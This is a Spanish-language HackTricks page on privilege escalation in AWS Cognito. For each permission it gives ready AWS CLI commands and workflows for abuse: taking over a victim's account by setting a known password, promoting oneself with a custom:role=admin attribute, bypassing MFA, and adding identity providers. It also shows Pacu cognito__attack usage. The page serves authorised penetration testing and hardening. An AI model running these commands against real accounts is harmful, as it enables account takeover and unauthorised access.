AWS - Cognito Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cognito

Para más información sobre Cognito consulta:

AWS - Cognito Enum

Obtención de credenciales del Identity Pool

Como Cognito puede otorgar IAM role credentials tanto a authenticated como a unauthenticated users, si localizas el Identity Pool ID de una aplicación (debería estar hardcoded en ella) puedes obtener nuevas credenciales y por lo tanto privesc (dentro de una cuenta AWS donde probablemente ni siquiera tenías credenciales previamente).

Para más información consulta esta página.

Impacto potencial: Privesc directo al services role asociado a los unauth users (y probablemente al asociado a los auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con este permiso puedes grant any cognito role a los authenticated/unauthenticated users de la app Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Si la app de cognito no tiene habilitados los usuarios no autenticados puede que también necesites el permiso cognito-identity:UpdateIdentityPool para habilitarlo.

Impacto potencial: privesc directo a cualquier rol de cognito.

cognito-identity:update-identity-pool

Un atacante con este permiso podría configurar, por ejemplo, un Cognito User Pool bajo su control u otro proveedor de identidad donde pueda iniciar sesión como una forma de acceder a este Cognito Identity Pool. Entonces, simplemente iniciar sesión en ese proveedor de usuarios le permitirá acceder al rol autenticado configurado en el Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

También es posible abusar de este permiso para permitir basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto Potencial: Comprometer el IAM role autenticado configurado dentro del identity pool.

cognito-idp:AdminAddUserToGroup

Este permiso permite agregar un usuario de Cognito a un grupo de Cognito, por lo tanto un attacker podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con mejores privilegios o diferentes IAM roles:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto potencial: Privesc a otros Cognito groups y IAM roles adjuntos a User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un atacante con estos permisos podría crear/actualizar grupos con cada IAM role que pueda ser usado por un Cognito Identity Provider comprometido y hacer que un usuario comprometido forme parte del grupo, accediendo a todos esos roles:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto potencial: Privesc a otros roles IAM de Cognito.

cognito-idp:AdminConfirmSignUp

Este permiso permite verificar un registro. Por defecto, cualquiera puede registrarse en las aplicaciones de Cognito; si eso se permite, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto potencial: Privesc indirecta al identity pool IAM role para usuarios autenticados si puedes registrar un nuevo usuario. Privesc indirecta a otras funcionalidades de la app al poder confirmar cualquier cuenta.

cognito-idp:AdminCreateUser

Este permiso permitiría a un atacante crear un nuevo usuario dentro del user pool. El nuevo usuario se crea como habilitado, pero tendrá que cambiar su contraseña.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto potencial: Privesc directo al rol IAM del identity pool para authenticated users. Privesc indirecto a otras funcionalidades de la app que permiten crear cualquier usuario

cognito-idp:AdminEnableUser

Estos permisos pueden ser útiles en un escenario muy extremo donde un atacante encontró las credenciales de un usuario deshabilitado y necesita volver a habilitarlo.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto potencial: Escalada de privilegios indirecta (privesc) al identity pool IAM role para usuarios autenticados y a los permisos del usuario si el atacante tenía credenciales de un usuario deshabilitado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Este permiso permite iniciar sesión con el method ADMIN_USER_PASSWORD_AUTH. Para más información sigue el enlace.

cognito-idp:AdminSetUserPassword

Este permiso permitiría a un atacante establecer una contraseña conocida para cualquier usuario, resultando normalmente en una toma de control directa de la cuenta (especialmente si la víctima no tiene MFA habilitado, o si MFA no se aplica para el auth flow/client relevante).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Flujo de trabajo común:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Related permission: cognito-idp:AdminResetUserPassword can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).

Impacto potencial: Toma de control de cuentas de usuarios arbitrarios; acceso a privilegios a nivel de aplicación (grupos/roles/claims) y a cualquier cosa aguas abajo que confíe en Cognito tokens; posible acceso a roles IAM autenticados de Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un atacante podría potencialmente abusar de este permiso para configurar un teléfono móvil bajo su control como SMS MFA de un usuario.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Similar al anterior, este permiso puede utilizarse para establecer las preferencias de MFA de un usuario y eludir la protección MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Similar al anterior, este permiso puede usarse para configurar las preferencias de MFA de un user pool para bypass la protección MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: También es posible actualizar el user pool para cambiar la política de MFA. Check cli here.

Impacto potencial: Privesc indirecto hacia potencialmente cualquier usuario cuyas credenciales conoce el atacante; esto podría permitir bypass de la protección MFA.

cognito-idp:AdminUpdateUserAttributes

Un atacante con este permiso puede cambiar cualquier atributo mutable de un usuario del User Pool (incluyendo los atributos custom:*) para intentar obtener privilegios en una aplicación subyacente.

Un patrón común y de alto impacto es claim-based RBAC implementado usando custom attributes (por ejemplo custom:role=admin). Si la aplicación confía en esa claim, actualizarla y luego reautenticarse puede permitir bypass de la autorización sin modificar la app.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Ejemplo: eleva tu propio role y refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Impacto potencial: privesc indirecta en aplicaciones que confían en atributos/claims de Cognito para autorización; capacidad para modificar otros atributos relevantes para la seguridad (por ejemplo, establecer email_verified o phone_number_verified a true puede importar en algunas apps).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un atacante con este permiso podría crear un nuevo User Pool Client menos restringido que los clientes de pool ya existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método de autenticación, no tener ningún secret, tener token revocation deshabilitado, permitir que los tokens sean válidos por un periodo más largo…

Lo mismo puede hacerse si, en lugar de crear un nuevo cliente, se modifica uno existente.

En la command line (o la update one) puedes ver todas las opciones, ¡revísalo!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto potencial: Privesc indirecto potencial para el usuario autorizado del Identity Pool utilizado por el User Pool al crear un nuevo client que relaja las medidas de seguridad y permite a un attacker iniciar sesión con un usuario que haya podido crear.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attacker podría abusar de este permiso para crear usuarios subiendo un csv con nuevos usuarios.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(En el caso de que crees un nuevo import job quizá también necesites el iam passrole permission; no lo he probado aún).

Impacto potencial: Privesc directo al rol IAM del identity pool para usuarios autenticados. Privesc indirecto en otras funcionalidades de la aplicación que permitan crear cualquier usuario.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un atacante podría crear un nuevo identity provider para luego poder iniciar sesión a través de este proveedor.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto potencial: Privesc directo al IAM role del identity pool para usuarios autenticados. Privesc indirecto a otras funcionalidades de la aplicación que podrían crear cualquier usuario.

cognito-sync:* Análisis

Este es un permiso muy común por defecto en los roles de Cognito Identity Pools. Aunque un comodín en los permisos siempre parece peligroso (especialmente viniendo de AWS), las permissions dadas no son muy útiles desde la perspectiva de un atacante.

Este permiso permite leer información de usuario de Identity Pools e Identity IDs dentro de los Identity Pools (lo cual no es información sensible).
Identity IDs podrían tener asignados Datasets, que son información de las sesiones (AWS lo define como una partida guardada). Puede ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la enumeration page cómo acceder a esta información.

Un atacante también podría usar estos permisos para inscribirse en un Cognito stream que publique cambios en estos datasets o en una lambda que se dispare con eventos de Cognito. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.

Herramientas automáticas

  • Pacu, el framework de explotación para AWS, ahora incluye los módulos “cognito__enum” y “cognito__attack” que automatizan la enumeración de todos los assets de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario usados para control de acceso, etc., y además automatizan la creación de usuarios (incluyendo soporte MFA) y la escalada de privilegios basada en atributos custom modificables, credenciales de identity pool utilizables, roles asumibles en id tokens, etc.

Para una descripción de las funciones de los módulos, ver la parte 2 del blog post. Para instrucciones de instalación ver la página principal de Pacu.

Uso

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Ejemplo de uso de cognito__enum para recopilar todos los user pools, user pool clients, identity pools, users, etc. visibles en la cuenta AWS actual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques contra Cognito, incluyendo una escalada privesc.

Instalación

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para más información, consulta https://github.com/padok-team/cognito-scanner

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks